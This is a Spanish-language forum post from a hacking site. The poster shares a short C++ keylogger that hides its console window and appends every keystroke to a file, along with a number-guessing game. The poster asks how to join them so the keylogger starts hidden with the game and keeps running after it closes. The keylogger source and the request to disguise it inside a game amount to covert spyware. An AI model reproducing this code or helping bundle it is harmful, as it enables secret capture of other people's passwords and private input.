elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación C/C++ / Ejecutar un programa dentro de otro. en: 2 Octubre 2016, 15:27 pm
Buenas a todos,

Me gustaría saber si me podríais a ayudarme con un problema que tengo en C++, es el siguiente:

Tengo dos códigos, el primero es un juego y el segundo es un keylogger muy simple, y me gustaría poder juntar ambos, de tal manera que cuando el juego se ejecute se abra de manera independiente el keylogger, y cuando se cierre el juego, el keylogger permanezca abierto...

A continuación, el keylogger.
Código
  1. using namespace std;                      
  2. int main()                                
  3. {
  4.   HWND stealth;
  5.    AllocConsole();
  6.    stealth=FindWindowA("ConsoleWindowClass",NULL);
  7.    ShowWindow(stealth,0);                
  8. char key;                                  
  9.    while (true){                        
  10.        Sleep(10);                        
  11.        for(key = 8; key <= 190; key++){  
  12.            if(GetAsyncKeyState(key) == -32767){        
  13.                ofstream fichero;          
  14.                fichero.open("log.txt",fstream::app);  
  15.                fichero << key;
  16.                fichero.close();
  17.  
  18.            }
  19.        }
  20.    }
  21.  
  22.    return 0;
  23. }

Y el programa principal.
Código
  1. #include <iostream>                  
  2. #include <cstdlib>
  3. #include <ctime>                    
  4.  
  5. int main(void) {
  6. srand(time(NULL));
  7.  
  8. while(true) {
  9. int number = rand() % 99 + 2;
  10. int guess;
  11. int tries = 0;
  12. char answer;
  13.  
  14.  
  15. while(true) {
  16.  
  17. std::cout << "Introduce un numero del 1 al 100(" << 20 - tries << " intentos restantes): ";
  18. std::cin >> guess;
  19. std::cin.ignore();
  20.  
  21. if(tries >= 20) {
  22. break;
  23. }
  24.  
  25. if(guess > number) {
  26. std::cout << "Demasiado alto! Prueba de nuevo.\n";
  27. } else if(guess < number) {
  28. std::cout << "Demasiado bajo! Prueba de nuevo.\n";
  29. } else {
  30. break;
  31. }
  32.  
  33.  
  34. tries++;
  35. }
  36.  
  37.  
  38. if(tries >= 20) {
  39. std::cout << "Te has quedado sin intentos!.\n\n";
  40. } else {
  41.  
  42. std::cout<<"Felicidades! " << std::endl;
  43. std::cout<<"Has acertado! " << tries << " intentos!\n";
  44. }
  45.  

Gracias por su atención.
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines